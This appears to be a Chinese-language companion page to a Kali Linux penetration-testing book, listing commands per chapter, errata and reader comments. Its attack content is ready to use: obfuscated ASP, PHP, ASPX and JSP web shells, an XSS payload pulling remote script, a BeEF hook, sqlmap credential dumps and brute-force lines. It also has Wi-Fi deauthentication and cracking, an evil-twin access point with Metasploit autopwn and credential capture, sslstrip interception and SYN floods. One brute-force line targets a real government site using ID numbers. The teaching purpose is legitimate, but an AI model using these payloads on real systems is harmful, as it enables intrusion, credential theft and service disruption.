Kali Linux 滲透測試工具(第2版) 指令清單及勘誤表

連結勘誤表      啟動nessuse及OpenVas後,系統近似當機處理

指令或網址清單

1.5
政府機關滲透測試服務委外服務案建議書徵求文件

2.2
VMWare Player

2.3
Kali 的VM映象檔

2.6.1
安裝 SCIM: apt-get install scim-tables-zh

2.6.2
安裝  IBus: apt-get install ibus ibus-pinyin ibus-chewing

2.8
安裝Linux核心表頭: apt-get install linux-headers-$(uname -r)

2.9.2 安裝 Firefox
echo -e "\ndeb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main" | tee -a /etc/apt/sources.list
apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29
apt-get update
apt-get install firefox-mozilla-build


2.9.3 安裝Chrome:
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
dpkg -i google-chrome-stable_current_amd64.deb
apt-get install -f


2.9.4
修正 Chrome:/usr/bin/google-chrome-stable %U --no-sandbox --user-data-dir=/root/chrome

2.11 安裝於USB隨身碟
wget http://cdimage.kali.org/kali-2.0/kali-linux-light-2.0-i386.iso
dd if=kali-linux-light-2.0-i386.iso of=/dev/sdb bs=512K


2.12 升級到 Kali 2
 /etc/apt/sources.list 加入
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
執行
apt-get update
apt-get dist-upgrade


4.1.
Nessus下載:http://www.tenable.com/products/nessus/select-your-operating-system

4.2.3
 /usr/bin/openvas-start 修改:
#!/bin/bash
echo "Starting OpenVas Services"
# service greenbone-security-assistant start
gsad --listen=0.0.0.0 --port=9392
service openvas-scanner start
service openvas-administrator start
# service openvas-manager start
openvasmd


5.1.
Metasploitable虛擬機http://sourceforge.net/projects/metasploitable/

6.1.4
whois 查詢 網頁
http://whios.domaintools.com
http://who.is/whois/
http://www.whois365.com/tw/
http://toolbar.netcraft.com/site_report
http://whois.twnic.net.tw/
http://whois.911cha.com/linux-city.net.html
http://whois.hichina.com
http://whois.chinaz.com
http://ewhois.cnnic.cn
http://www.whois-search.com
http://www.whois.com
http://whois.domaintools.com
http://www.whois.net
http://www.internic.net/whois.html
http://www.nic.edu.cn/cgi-bin/reg/otherobj
http://whois.domaintools.com/china.com
http://www.101domain.com/whois-cn.php


6.2.    漏洞資料庫
https://web.archive.org
http://www.wooyun.org/bugs/
http://www.zone-h.org/archive
http://www.exploit-db.com/
http://sebug.net/
http://new.serversniff.de/
http://cve.mitre.org/


6.3. 線上訊息收集
http://serversniff.net.w3snoop.com/
https://webmaster.yandex.com/robots.xml


6.4.6
header 範例:
GET / HTTP/1.0
User-Agent: Mozilla/5.0
Host:
Expect: <script src=http://ha.ckers.org/xss.js></script>


6.5.1
fragroute設定檔範例:
tcp_seg 1 new
ip_frag 24
ip_chaff dup
order random
print



6.7.2.
swaks執行腳本:
for E in `cat email.lst`
do
    swaks --to $E --server test-server.example.com --quit-after RCPT --hide-all
    [ $? -ne 0 ] && echo $E
done


7.1
nmap常用參考指令
nmap -sS -P0 -A -v HOSTs
nmap -sT -p80 -oG OUTFILE  HOSTs
nmap -A -p1-85,113,443,8080-8100 -T4 -oA OUTFILE HOSTs
nmap -sS <target> -D 192.168.0.2 ,192.168.3.1, 192.168.5.5


7.3
由 host_a 傳送檔案給 host_b
 host_a 執行:hping3 host_b -2 -p 53 -d 100 -e signature -B -E passwd
 host_b 執行:hping3 host_a -9 signature -B -1

Idle Scan
hping3 -I eth0 -r -SA 192.168.194.129
hping3 -I eth0 -a 192.168.146.129 -S 192.168.146.139 -p 80


9.3
 uid 與 passw 文字清單
檔名:users.lst
admin
test
jsmith
user
john
merry
queen
king
damon


檔名:password-2.lst
123456
12345
password
abc123
computer
qwerty
a1b2c3
123abc
admin
test
demo1234
user


9.5 範例網頁
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transistional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
    <title></title>

    <script src="http://192.168.194.138:3000/hook.js"></script>
</head>
<body>
  <div style="font-size:16pt;color:red">This is BeEF test.</div>
</body>
</html>



11.1
SQLMap 常用範例
sqlmap -u "http://URL/PAGE?cityid=2&m=1" -v 5 -d cityid
sqlmap -u "http://demo.testfire.net" --method=POST --data="user=admin&pass=1234" -c sqlmap.conf
sqlmap -u "http://URL/PAGE?id=1" --referer "http://www.google.com"
sqlmap -u "http://URL/PAGE?id=1" --auth-type="Basic" --auth-cred "admin:adminpass"
sqlmap -u "http://URL/PAGE?id=1?id=1" -v 2 --dbms="PostgreSQL"
sqlmap -u "http://URL/PAGE?id=1" --union-test -v 1
sqlmap -u "http://URL/PAGE?id=1" --union-test --union-tech orderby -v 1
sqlmap -u "http://URL/PAGE?id=1" --sql-query "SELECT username FROM pg_user" -v 0


書中實例執行過程

sqlmap -u "http://demo.testfire.net/bank/login.aspx"  --data="uid=user&passw=pass&btnSubmit=Login" -p uid  --threads=8 --level=3 --risk=3 --tables  --batch

sqlmap -u "http://demo.testfire.net/bank/login.aspx" --data="uid=user&passw=pass&btnSubmit=Login" -T users --columns --batch

sqlmap -u "http://demo.testfire.net/bank/login.aspx" --data="uid=user&passw=pass&btnSubmit=Login" --dump -C "userid,username,password" -T users --batch


11.2.    SQLninja
GET 範例:
--httprequest_start--
GET http://www.victim.com/page.asp?vulnerableparam=aaa';__SQL2INJECT__&otherp$
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418$
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/p$
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Connection: close
--httprequest_end--


POST 範例
--httprequest_start--
POST http://demo.testfire.net/bank/login.aspx HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/bank/login.aspx
Cookie: ASP.NET_SessionId=5l023szuvchlvuezvur00d45; amSessionId=71241312664
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
uid=aaa';__SQL2INJECT__&passw=eeee&btnSubmit=Login
--httprequest_end--


11.3
安裝 Oracle API 程序
apt-get install libaio-dev
下載來源 http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html 
ln -s libclntsh.so.10.1 libclntsh.so
 

leafpad $HOME/.profile
export ORACLE_HOME=/opt/instantclient10_1
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME


編輯 /etc/ld.so.conf.d/oracle.conf ,在裡頭加入
/opt/instantclient10_1

/sbin/ldconfig

下載 cx_Oracle-5.2.tar.gz
tar -xzf cx_Oracle-5.2.tar.gz

執行
python setup.py build
python setup.py install


12.1
hydra -L users.lst -P password.lst deom.testfire.net http-form-post "/bank/login.aspx:uid=^USER^&passw=^PASS^:Login Failed"


常用猜解語法
hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/admin/node?destination=node:name=^USER^&pass=^PASS^:Sorry, unrecognized username"
hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2
hydra -l admin -p password ftp://localhost/
hydra -L user.txt -p test -m PLAIN 127.0.0.1 imap
hydra -L user.txt -p test 127.0.0.1 imap PLAIN
hydra -l test -p test imap://127.0.0.1/PLAIN
hydra -L urllist.txt -s 3128 target.com http-proxy-urlenum user:pass
hydra -C userpass.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:1433/TLS:DIGEST-MD5


12.3.1
patator範例:
patator http_fuzz url=http://10.0.0.1/FILE0 0=paths.txt -x ignore:code=404 -x ignore,retry:code=500
patator http_fuzz url=http://10.0.0.1/manager/html user_pass=COMBO00:COMBO01 0=combos.txt -x ignore:code=401
patator http_fuzz url=http://10.0.0.1/login.php method=POST body='userid=COMBO00&passw=COMBO01' 0=users.txt follow=1 accept_cookie=1 -x ignore:fgrep='Cannot log in' -l /tmp/phpmysql
patator http_fuzz url=https://pdis.moj.gov.tw/U100/U102-1.aspx method=POST body='ctl00$ContentPlaceHolder1$txtIDN=FILE0&ctl00$ContentPlaceHolder1$ddlSYEAR=102' 0=/root/Downloads/ID_List.txt follow=1 accept_cookie=1 -x ignore:fgrep='目前未有符合條件'

patator smtp_rcpt host=10.0.0.1 user=FILE0@localhost 0=logins.txt
patator smtp_rcpt host=10.0.0.1 user=FILE0@localhost 0=logins.txt mail_from=bar@example.com -x ignore:fgrep='User unknown' -x retry:code=421
patator smtp_login host=10.0.0.1 user=FILE0@localhost password=FILE1 0=logins.txt 1=passw.txt

smb_login host=FILE0 0=hosts.txt user=COMBO10 password_hash=COMBO12:COMBO13 1=pwdump.txt
smb_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:fgrep=STATUS_ACCOUNT_LOCKED_OUT

patator mssql_login host=10.0.0.1 user=sa password=FILE0 0=passwords.txt -x ignore:fgrep='Login failed for user'

patator mysql_login host=10.0.0.1 user=COMBO00 password=COMBO01 0=userdata.txt -x ignore:fgrep='Access denied for user'

patator ftp_login host=10.0.0.1 user=COMBO00 password=COMBO01 0=userdata.txt -x ignore:fgrep='Login incorrect'


patator unzip_pass zipfile=file.zip password=FILE0 0=passwords.txt -x ignore:code!=0


13.4
tcpdump -i eth0 -w myHost1.pcap 'tcp host myHost1 and not myHost0'
tcpdump -r sniff*.pcap 'tcp port 80' | grep '.yahoo.'


13.5.3.    建立偽冒的憑證授權(CA)
openssl req -config openssl.cnf -new -nodes -keyout mytest.key -out mytest.csr -days 3650
openssl ca -config openssl.cnf -policy policy_anything -out mytest.crt -infiles mytest.csr
mkdir /usr/share/sslsniff/certs/spoofed_site/
cat mytest.crt mytest.key > /usr/share/sslsniff/certs/spoofed_site/mytest.pem


13.7.3.    sslstrip與ettercap整合應用
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
ettercap -Tq -M arp:remote /192.168.158.2/ //
sslstrip -afw sslstrip.log


14.1.1 DNS2tcp

Server端設定檔的範例:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp/
domain = dnstunnel.testcom.com.tw
debug_level = 0
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25,  rdp:172.31.5.22:3389


client端設定檔的範例:
domain = dnstunnel.testcom.com.tw
resource = rdp
local_port = 4444
debug_level=1
key = admin
server = dns1.testcom.com.tw


14.1.2 stunnel
Server端設定:
chroot = /var/lib/stunnel4/
setuid = stunnel4
setgid = stunnel4
pid = /stunnel4.pid
debug = 7
output = /var/log/stunnel4.log
cert = /etc/stunnel/stunnel.pem
key = /etc/stunnel/stunnel.key
options = NO_SSLv2


Client端的設定:
chroot = /var/lib/stunnel4/
pid = /stunnel.pid
options = NO_SSLv2

[rpds]
client = yes
accept = 127.0.0.1:80
connect = stunnel.company.com:443



14.4.1. ASP的一句話木馬
<% If Request("l")<>"" Then ExecuteGlobal(Request("l")) %>
<% X=Request("l"):If X<>"" Then Execute(X) %>
<% execute(eval(chr(114) + chr(101) + chr(113) + chr(117) + chr(101) + chr(115) + chr(116))("L")) %>


14.4.2.    PHP的一句話木馬
<? if(isset($_GET['L'])){eval($_GET['L']);} ?>
<? $_GET['L']($_GET['M']); ?>
<? php system($_REQUEST[1]); ?>
<? $k="ass"."ert"; $k(${"_POS"."T"} ['l']); ?>
<? $a = "as"."ser"."t"; $a($_POST["l"]); ?>
<? @$_="ss"./*-sser-*/"er"; @$_=/*-/*-*/"a"./*--*/$_./*-asser-*/"t"; @$_/*-assert-*/($/*-*-*/{"_P"./*-*-*/"OS"./*-*-*/"T"} [/*-*-*/"l"/*-/*-*/]);?>


14.4.3.    aspx的一句話木馬
<%@ Page Language="Jscript"%>
<%eval(Request.Item["l"],"unsafe");%>
<%@ Page Language = Jscript %>
<%var/*-*-*/P/*-*-*/=/*-*-*/"e"+"v"+/*-*-*/"a"+"l"/*-*-*/+"("+"R"+"e"+/*-*-*/"q"+/*-*-*/"u"+/*-*-*/"e"/*-*-*/+"s"+/*-*-*/"t"+"[/*--*/"L"/*-*-*/]"+ ","+"\""+"u"+"n"+"s"/*-*-*/+"a"+"f"+"e"+"\""+")";eval (/*--*/P/*-*-*/,/*--*/"u"+"n"+"s"/*-*-*/+"a"+"f"+"e"/*--*/);%>


14.4.4.    JSP的一句話木馬
<% if(request.getParameter("l")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("l"))).write(request.getParameter("m").getBytes()); %>

16.1
kismet_server -c wlan0 -p /tmp/KISMET -t 20141020-kismet -T pcapdump

giskismet -x Kismet.netxml -q "select * from wireless where ESSID='linksys' and Encryption='None'" -o ex2.kml

16.4.1
無線網卡資訊 :http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

16.4.3
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 mon0
aireplay-ng -1 5 -e ap001 -a 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F mon0

擷取時:aireplay-ng -2 -c 00:0C:C6:3F:ff:ff -b 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F mon0
注入時:aireplay-ng -2 -r arpFile -x 1024 -b 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F mon0
aireplay-ng -3 -b 00:26:5A:18:CE:0B -h 00:0C:29::C8:C6:3F -x 512 mon0
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 mon0

aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D mon0
aireplay-ng -6 -h 00:09:5B:EC:EE:F2 -b 00:13:10:30:24:9C -D mon0
aireplay-ng -7 -h 00:09:5B:EC:EE:F2 -D mon0
aireplay-ng -8 -b 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0


16.4.4
airmon-ng start wifi0 6                        開啟監聽模式
airodump-ng -n 65535 -i ath0 -w wep_cloaking_full_speed_dl.pcap    擷取網路封包
airdecloak-ng --bssid 00:12:BF:12:32:29 --filters signal -i wep_cloaking.pcap                        移除 cloak訊框
aircrack-ng wep_cloaking_full_speed_dl.pcap -b 00:12:BF:12:32:29 -K -n 64 -d 1F:1F:1F    嘗試破解 WEP 密碼
airdecap-ng -w 1F:1F:1F:1F:1F wep_cloaking.pcap                      進行封包檔解碼

16.4.5
aircrack-ng pack*.ivs
aircrack-ng *.ivs
aircrack-ng -w hex.txt,ascii.txt -a 1 -n 64 -e teddy wep10-01.cap
aircrack-ng -w password.lst *.cap
aircrack-ng -w password.lst wpa.cap wpa2.eapol.cap


16.7.   
A執行
airmon-ng start wlan0
airodump-ng mon0
airodump-ng -w cmj_ap -o pcap -c 1 -d 00:15:F2:54:DE:61 mon0


B 執行
aireplay-ng -0 10 -a 00:15:F2:54:DE:61 --ignore-negative-one  mon0

 C 執行
aircrack-ng -w /usr/share/john/password.lst,/usr/share/metasploit-framework/data/john/wordlists/password.lst /tmp/cmj_ap*.cap

16.8.
 /etc/dhcp3/dhcpd.conf 內容
# Sample configuration file for ISC dhcpd for Debian
#
ddns-update-style none;
log-facility local7;
default-lease-time 60;
max-lease-time 7200;

option subnet-mask 255.255.255.0;
option broadcast-address 192.168.99.255;
option routers 192.168.99.254;
option netbios-name-servers 192.168.99.254;
option domain-name-servers 61.31.233.1;

subnet 192.168.99.0 netmask 255.255.255.0 {
      range 192.168.99.100 192.168.99.200;
}



終端機 A:
airmon-ng start wlan0
airbase-ng -C 30 -e linksys -c 1 -v mon0


終端機 B:
ifconfig at0 up 192.168.99.254 netmask 255.255.255.0
dhcpd -cf /etc/dhcp3/dhcpd.conf at0


終端機 C:
iptables -t nat -F
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -s 192.168.99.0/24 -j MASQUERADE


16.9. 
karma.rc 內容:
# browser_autopwn 模擬一個Web站臺
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 192.168.99.254
setg AUTOPWN_PORT 55555
setg AUTOPWN_URI /
set LHOST 192.168.99.254
# 攻擊成功時接聽者
set LPORT 4444
set SRVPORT 55555
set URIPATH /
run

#pop3 抓取所有電子郵件請求
use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run -j

use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
run -j

# ftp 抓取所有 ftp請求

use auxiliary/server/capture/ftp
run -j

# smtp 抓取所有 smtp請求
use auxiliary/server/capture/smtp
set SSL false
set SRVPORT 25
run -j

use auxiliary/server/capture/smtp
set SSL true
set SRVPORT 465
run -j

# http 抓取所有 http/https 請求
use auxiliary/server/capture/http
set SRVPORT 80
set SSL false
run -j

use auxiliary/server/capture/http
set SRVPORT 443
set SSL true
run -j



16.9
A 終端機
 ifconfig wlan0 up
 airmon-ng start wlan0
 airbase-ng -C 30 -e linksys -c 9 -v mon0


B 終端機
ifconfig at0 up 192.168.99.254 netmask 255.255.255.0
dhcpd -cf /etc/dhcp3/dhcpd.conf -at0


C 終端機
 iptables -t nat -F
 echo "1" > /proc/sys/net/ipv4/ip_forward
 iptables -t nat -A POSTROUTING -o eth0 -s 192.168.99.0/24 -j MASQUERADE
 iptables -t nat -A PREROUTING -p tcp -i at0 --dport 80  -j REDIRECT --to 80
 iptables -t nat -A PREROUTING -p tcp -i at0 --dport 443 -j REDIRECT --to 443
 iptables -t nat -A PREROUTING -p tcp -i at0 --dport 110 -j REDIRECT --to 110
 iptables -t nat -A PREROUTING -p tcp -i at0 --dport 25  -j REDIRECT --to 25
 iptables -t nat -A PREROUTING -p tcp -i at0 --dport 21  -j REDIRECT --to 21
 iptables -t nat -A PREROUTING -p tcp -i at0 --dport 465 -j REDIRECT --to 465
 iptables -t nat -A PREROUTING -p tcp -i at0 --dport 995 -j REDIRECT --to 995
 msfconsole -q -r /etc/karma.rc


17.9.1.
hping3 -c 10000 -d 150 -S -w 64 -p 443 --flood --rand-source 192.168.1.1

17.9.2.
nping --tcp-connect --rate=9000 -c 900000 --quiet 192.168.1.1

18.2.  
下載NetHunter安裝工具 https://www.kali.org/offsec-nethunter-installer/Kali_v1.2.7.sfx.exe

18.2.3.
下載NetHunter映象檔https://www.offensive-security.com/kali-linux-nethunter-download/

18.3.4
下載MobaXtermhttp://mobaxterm.mobatek.net/download.html

19.2.1. 
wget http://images.kali.org/kali-2.0.1-rpi2.img.xz
xz -d kali-2.0.1-rpi2.img.xz
dd if=kali-2.0.1-rpi2.img of=/dev/sdb bs=512k


19.2.2
編輯 /etc/apt/sources.list
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free


安裝其他必要元件:
apt-get install locate
apt-get install psmisc
apt-get install build-essential
apt-get install libnl-3-dev
apt-get install libpcap-dev
apt-get install make
apt-get install tcpdump
apt-get install pkg-config
apt-get install sslstrip


19.5.3.
安裝 dnsmasq 及 hostapd
apt-get install dnsmasq hostapd


編輯 /etc/dnsmasq.conf:
log-facility=/var/log/dnsmasq.log
resolv-file=/etc/dnsmasq.resolv.conf
server = 8.8.8.8
server = 8.8.4.4
server = 168.95.192.1       
#可以加入其他 DNS
cache-size=2000             
#利用cache 加快查詢速度
port=
listen-address=192.168.5.1
dhcp-leasefile=/tmp/dnsmasq.leases
interface = eth0              
#指定配發的介面卡
dhcp-range=eth0,192.168.5.151,192.168.5.200,12h
dhcp-option=eth0,1,255.255.255.0      #subnet mask
dhcp-option=eth0,3,192.168.5.1       #default gateway
# dhcp-option=[interface][option number][dns servers]
dhcp-option=eth0,28,192.168.5.255     #broadcast
log-queries
log-dhcp


編輯/etc/dnsmasq.resolv.conf :
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 168.95.192.1


編輯 /etc/network/interfaces :
auto eth0
iface eth0 inet static
   address 192.168.5.1
   netmask 255.255.255.0
   gateway 192.168.5.1
   post-up /etc/init.d/dnsmasq start
   post-down /etc/init.d/dnsmasq stop



19.8
設備轉換的對應資訊http://www.draisberghof.de/usb_modeswitch/device_reference.txt

19.9.
編輯/etc/network/interfaces
auto eth0
iface eth0 inet static
   address 192.168.5.1
   netmask 255.255.255.0
   gateway 192.168.5.1
   post-up /etc/init.d/dnsmasq start
   post-down /etc/init.d/dnsmasq stop


allow-hotplug wlan0
iface wlan0 inet static
  address 192.168.200.254
  netmask 255.255.255.0



編輯/etc/ap_dnsmaq.conf
log-facility=/var/log/dnsmasq.log
resolv-file=/etc/dnsmasq.resolv.conf
server = 8.8.8.8
server = 8.8.4.4
server = 168.95.192.1       
#可以加入其他 DNS
cache-size=2000             
#利用cache 加快查詢速度
port=
listen-address=192.168.5.1
dhcp-leasefile=/tmp/dnsmasq.leases
interface = eth0              
#指定配發的介面卡
dhcp-range=eth0,192.168.5.151,192.168.5.200,12h
dhcp-option=eth0,1,255.255.255.0     
#subnet mask
dhcp-option=eth0,3,192.168.5.1      
#default gateway
# dhcp-option=[interface][option number][dns servers]
dhcp-option=eth0,28,192.168.5.255    
#broadcast
listen-address=192.168.200.254
#    wlan0 的IP,兼做Gateway
interface = wlan0
dhcp-range=wlan0,192.168.200.100,192.168.200.200,12h
#    分配 100 到 200 之間的IP
dhcp-option=wlan0,1,255.255.255.0
#    subnet mask
dhcp-option=wlan0,3,192.168.200.254
#    default gateway
dhcp-option=wlan0,6,8.8.8.8,8.8.4.4,168.95.192.1
#    DNS 的查詢順序 dhcp-option=wlan0,28,192.168.6.255     #broadcast
log-queries
log-dhcp


編輯/etc/hostapd/ap_hostapd.conf
interface=wlan0
driver=nl80211
ssid=My4GShare         
# 請換成自己的基地臺名稱
channel=7              
# 請換成不會跟週遭衝突的頻道編號
hw_mode=g              
# 使用 802.11g 模式(可不設)
wpa=2
wpa_passhprase=PreSharedKey    
# 請換成自己的加密密碼
wpa_key_mgmt=WPA-PSK    
# 使用 PreSharee 密鑰交換方式
wpa_pariwise=TKIP CCMP
auth_algs=1


設用  ap_iptables:
#! /bin/bash
iptables -t nat -F
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT


設定 start_ap
#! /bin/bash
/etc/init.d/networking start

ifconfig wlan0 up

if [ ! -z $1 ];then
   sed -i "s#^ssid=.*#ssid=$1#" /etc/hostapd/ap_hostapd.conf
fi

dnsmasq stop
dnsmasq -C /etc/ap_dnsmasq.conf
hostapd /etc/hostapd/ap_hostapd.conf    
# 啟動AP 服務
sleep 2
rmmod usbserial
sleep 1
modprobe usbserial vendor=0x12d1 product=0x1506 
# 啟動4G
sleep 1
wvdial E3272&               
# 撥接上網
sleep 2
ifconfig ppp0 up
./ap_iptables             
# 執行 ip_tables 設定
echo '1' > /proc/sys/net/ipv4/ip_forward



測試dnsmasq.conf:
dnsmasq -C /etc/ap_dnsmasq.conf --test

測試 ap_hostapd.conf
hostapd -dd /etc/hostapd/ap_hostapd.conf


19.11.1.
安裝 PiTFT管理程式:
wget http://adafruit-download.s3.amazonaws.com/adafruit_pitft_kernel_1.20150420-1.tar.gz
tar -xf adafruit_pitft_kernel_1.20150420-1.tar.gz
cd adafruit_pitft_kernel_1.20150420-1
mount /dev/mmcblk0p1 /boot
./install.sh
umount /boot

安裝 raspberrypi-bootloader
mount /dev/mmcblk0p1 /boot
apt-get install raspberrypi-bootloader

編輯 /boot/config.txt
[pi1]
  device_tree=bcm2708-rpi-b-plus.dtb

[pi2]
  device_tree=bcm2709-rpi-2-b.dtb

[all]
  dtparam=spi=on
  dtparam=i2c1=on
  dtparam=i2c_arm=on
  dtoverlay=pitft35r,rotate=90,speed=42000000,fps=20


安裝 PiTFT-Helper
git clone https://github.com/adafruit/Adafruit-PiTFT-Helper.git
mount /dev/mmcblk0p1 /boot
cd Adafruit-PiTFT-Helper
./adafruit-pitft-helper -u /root -t 35r








勘誤表(回頁首)

頁數(行數) 修正後文字 修正前文字 修正說明
11-6(2) sqlmap -u "http://URL/PAGE?cityid=2&m=1" -v 5 -p cityid sqlmap -u "http://URL/PAGE?cityid=2&m=1" -v 5 -d cityid 命令選項誤植,感謝讀者指正
19-22(-5)wpa_pairwise=TKIP CCMPwpa_pariwise=TKIP CCMP
19-22(-7) wpa_passphrase=PreSharedKey wpa_passhprase=PreSharedKey
19-25(3) 並且要把/etc/hostapd/ap_hostapd.conf中的wpa_passphrase設成空值(wpa_passphrase=) 並且要把/etc/hostapd/ap_hostapd.conf中的wpa_passhprase設成空值(wpa_passhprase=)









. .

啟動nessuse及OpenVas後,系統近似當機處理(回頁首
依照Kali 1.x的經驗,安裝nessus及OpevVas 並同時啟動,X-Window運作都很良好,但在Kali2 中卻發生開機進入圖形介面時的等待時長到不能忍受(好幾分鐘),利用「系統監控」工具發現 nessus及OpenVas佔用較大資源,雖然還不到滿載狀況,但因是虛擬機,已經覺得很慢了,強制關閉後似乎可以改善人機體驗。
因此筆者將原來裝有 nessus 及 OpevVas的虛擬機複製出兩台,然後將這三台虛擬機重新整理如下:

一台純做 Kali圖形操作,將原來的 nessus及OpenVas移除。
一台純執行 nessus服務,移除 X-Window及 OpenVas,開機後直接進到終端機模式。
一台純執行OpenVas,一樣移除 X-Window及 nessus,開機後進到終端機模式。

改用三台後,目前驗體良好,謹提供讀者參考。

39 則留言:

  1. 不好意思 我想請問一下我安裝中文輸入法
    要用應用程式\常用程序\系統工具\偏好設定 但是到系統工具之後就沒偏好設定了
    那該怎麼辦 才能設定好中文輸入

    回覆刪除
    回覆
    1. 如您是用 Kali 2,請參考「Kali Linux 滲透測試工具(第2版)」的2.7節,先安裝功能表管理工具,它可以讓您隱藏或開啟功能表,應該可以看到在「系統工具」的功能表樹下有些是沒有被打勾的,打勾以後就看得到了。
      如果不想麻煩,也可以在終端機直接執行「im-config」,如果您是安裝SCIM,也可以執行「scim-setup」來設定輸入法。
      由於 Linux的輸入法都是額外安裝的,有關輸入法的設定跟您採用的套件有關,如果您的中文輸入法不是scim,請參考您選用的套件之說明文件,或者用 google 找一下前人的安裝說明。

      刪除
  2. 陳先生您好
    請問一下,關於Firefox
    我按照您的意思,安裝步驟的方式已經成功
    但是我安裝Nessus瀏覽器無法連線
    Firefox
    sec_error_unknow_issuer

    時間日期都正確,就是無法連線

    我有買Kali Linux 滲透測試工具(第2版)
    找不出來哪裡有問題

    回覆刪除
    回覆
    1. 對不起,可以請您再描述詳細一些嗎?從錯誤訊息來看,應該是憑證的問題,可能是FireFox不認得nessus的憑證,請您確認一下是不是出現像這張圖 https://support.cdn.mozilla.net/media/uploads/images/2013-04-11-06-27-07-2c6e2a.png 警告畫面,如果是的話,請點擊「I understand the Risks」,然後接受你的網址為可信賴網址即可。

      刪除
  3. 不好意思 我要安裝VMWare Tools 到終端機要安裝linux-headers卻無法安裝
    他顯示找不到套件 linux-headers-4.3.0-kalil-amd64
    這個辦法應該要如何解決?

    回覆刪除
    回覆
    1. 請您檢查一下 /etc/apt/sources.list 有沒有下列兩項來源:

      deb http://http.kali.org/kali sana main non-free contrib
      deb http://security.kali.org/kali-security/ sana/updates main contrib non-free

      如果沒有,請手動加到 souces.list 中,然後執行:
      apt-get update
      apt-get upgrade -y

      接著安裝 linux-headers:
      apt-get install linux-headers-$(uname -r)

      完成上面的步驟之後,檢查一下是不是有
      /usr/src/linux-headers-XXXXX 的目錄(XXXXX 是跟版本有關的字串,不是真的為 XXXXX)

      若無誤,在安裝VMTools 時還是找不到,就自行指定路徑,請注意看過程的說明,有一個步驟是 headers的來源,看它自己抓到的跟您實際環境是否一致?
      祝您成功。

      刪除
    2. 作者已經移除這則留言。

      刪除
  4. 哥 手動增加來源
    ===============================================================================================
    請您檢查一下 /etc/apt/sources.list 有沒有下列兩項來源:

    deb http://http.kali.org/kali sana main non-free contrib
    deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
    ===============================================================================================
    deb 前面要不要加 # ??
    小弟也是卡在這 GG
    小弟 照這大大的步驟還是失敗 大大麻煩請您幫我看一下
    http://imgur.com/jw95Zuy

    回覆刪除
    回覆
    1. 那麻煩您再加入
      deb-src http://http.kali.org/kali sana main non-free contrib
      deb-src http://security.kali.org/kali-security/ sana/updates main contrib non-free
      請兩行看看。

      另外請檢查在 Kali 裡的瀏覽器可否連線到 http://http.kali.org/
      (要用執行 apt-get 那台虛擬機,不要用外面的實體機)

      如果還不行,可否請您將 /etc/apt/sources.list 的內容貼上來。

      因為在我這裡確認是可行的。

      刪除
    2. 哥 我有加上去了 還是不行 我用 ICE瀏覽器 可以上http://http.kali.org/

      哥 你有空再幫我看一下 小弟對於LINUX真的沒什麼概念 只能照著書上 跟 YOUTUBE 上學習 QQ 請哥多包涵

      真的沒辦法 才會麻煩哥 真是抱歉 ^^

      http://imgur.com/qVDGcd7
      http://imgur.com/oEdp0Fv
      http://imgur.com/AiHCTB6

      刪除
    3. 原來我的核心是 4.0.4,而從您的訊息看來,您的核心是 4.3.x, 不知是不是版本問題,我重新下載最新的 Kali試試。

      你可用 「apt-cache search linux-headers」 查了一下套件,看看目前有哪些header可安裝,我只查到 4.0.0

      因為您的核心是 4.3.x,不確定 4.0.0 的 header 適不適用,待試過之後再向您報告

      刪除
    4. 原來不是只有您遇到,國外也有很多遇到同一個問題,網路上有人建議 將 4.3 升級到 4.4,指令如下:

      apt-get update -y
      apt-get upgrade -y
      apt-get dist-upgrade -y

